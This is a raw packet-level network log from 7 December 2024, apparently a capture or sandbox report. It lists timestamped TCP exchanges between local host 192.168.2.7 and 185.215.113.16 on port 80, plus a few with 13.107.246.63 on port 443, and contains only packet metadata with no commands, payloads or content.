Dec 7, 2024 18:27:04.303802967 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.303833008 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.303843975 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.303874969 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.304435015 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.304478884 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.304523945 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.304536104 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.304559946 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.304575920 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.305226088 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.305269957 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.305362940 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.305375099 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.305413008 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.306099892 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.306144953 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.306281090 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.306292057 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.306329012 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.306962013 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.307003975 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.307085991 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.307096958 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.307153940 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.307852983 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.307900906 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.307996988 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.308008909 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.308046103 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.308687925 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.308732986 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.308813095 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.308825970 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.308860064 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.309581041 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.309626102 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.309762955 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.309775114 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.309809923 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.310336113 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.310379982 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.310502052 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.310514927 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.310550928 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.311202049 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.311247110 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.311356068 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.311367989 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.311403990 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.312045097 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.312088966 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.312227011 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.312237978 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.312264919 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.312278986 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.312912941 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.312952995 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.313110113 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.313122034 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.313158035 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.313757896 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.313802004 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.313922882 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.313935041 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.313973904 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.314860106 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.314903975 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.315087080 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.315099001 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.315134048 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.315253019 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.315296888 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.315757036 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.315800905 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.315898895 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.315911055 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.315944910 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.316601992 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.316641092 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.316772938 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.316786051 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.316823959 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.317497969 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.317543030 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.317616940 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.317629099 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.317667007 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.318310022 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.318351984 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.318600893 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.318612099 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.318644047 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.319164038 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.319209099 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.319329977 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.319339991 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.319379091 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.320019960 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.320065022 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.320179939 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.320190907 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.320228100 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.320875883 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.320919037 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.321028948 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.321039915 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.321082115 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.321747065 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.321794987 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.321897030 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.321909904 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.321943998 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.322825909 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.322875023 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.323000908 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.323045969 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.324915886 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.324965000 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.325114012 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.325126886 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.325164080 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.325536013 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.325548887 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.325558901 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.325583935 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.325598001 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.326152086 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.326203108 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.386074066 CET	443	49836	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:04.386598110 CET	49836	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:04.386617899 CET	443	49836	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:04.387069941 CET	49836	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:04.387077093 CET	443	49836	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:04.487543106 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.487622023 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.487633944 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.487639904 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.487689018 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.488147974 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.488194942 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.488318920 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.488333941 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.488359928 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.488377094 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.488692045 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.488735914 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.488874912 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.488919020 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.489093065 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.489104033 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.489140987 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.489707947 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.489751101 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.489974022 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.489984989 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.490021944 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.490556955 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.490602970 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.490698099 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.490709066 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.490746021 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.491766930 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.491808891 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.491975069 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.491986036 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.492016077 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.492487907 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.492532015 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.492584944 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.492595911 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.492631912 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.493180037 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.493228912 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.493362904 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.493374109 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.493411064 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.493983030 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.494028091 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.494178057 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.494190931 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.494221926 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.494838953 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.494888067 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.495001078 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.495012045 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.495049000 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.495709896 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.495757103 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.495841026 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.495853901 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.495884895 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.495898962 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.496603966 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.496644974 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.496720076 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.496731997 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.496762991 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.497462988 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.497508049 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.497567892 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.497579098 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.497616053 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.498262882 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.498308897 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.498387098 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.498400927 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.498428106 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.498444080 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.499145031 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.499188900 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.499227047 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.499238968 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.499273062 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.500036001 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.500078917 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.500123024 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.500134945 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.500164032 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.500797033 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.500840902 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.500943899 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.500955105 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.500992060 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.501724005 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.501768112 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.501843929 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.501857996 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.501888037 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.502609968 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.502652884 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.502770901 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.502783060 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.502815008 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.502829075 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.503386021 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.503428936 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.503509998 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.503521919 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.503557920 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.504259109 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.504300117 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.504363060 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.504375935 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.504396915 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.504414082 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.505069017 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.505110025 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.505366087 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.505378008 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.505409956 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.505424976 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.505992889 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.506033897 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.506103039 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.506114960 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.506146908 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.506814957 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.506855011 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.507064104 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.507105112 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.507239103 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.507257938 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.507277966 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.507294893 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.507931948 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.507975101 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.508090973 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.508101940 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.508131027 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.508776903 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.508816004 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.508934975 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.508946896 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.508976936 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.509637117 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.509676933 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.509751081 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.509768009 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.509790897 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.509807110 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.510464907 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.510505915 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.510572910 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.510597944 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.510610104 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.510622978 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.511372089 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.511411905 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.511467934 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.511477947 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.511508942 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.512178898 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.512218952 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.512355089 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.512366056 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.512397051 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.513041973 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.513082981 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.513305902 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.513317108 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.513346910 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.514067888 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.514107943 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.514185905 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.514197111 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.514234066 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.514791965 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.514834881 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.514870882 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.514909029 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.517021894 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.517069101 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.517172098 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.517185926 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.517215014 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.517226934 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.517620087 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.517664909 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.517846107 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.517857075 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.517891884 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.518311977 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.518356085 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.595068932 CET	443	49837	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:04.595565081 CET	49837	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:04.595588923 CET	443	49837	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:04.596007109 CET	49837	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:04.596013069 CET	443	49837	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:04.679666042 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.679743052 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.679755926 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.679781914 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.679817915 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.680109024 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.680150986 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.680535078 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.680546999 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:04.680586100 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:04.680598974 CET	49831	80	192.168.2.7	185.215.113.16
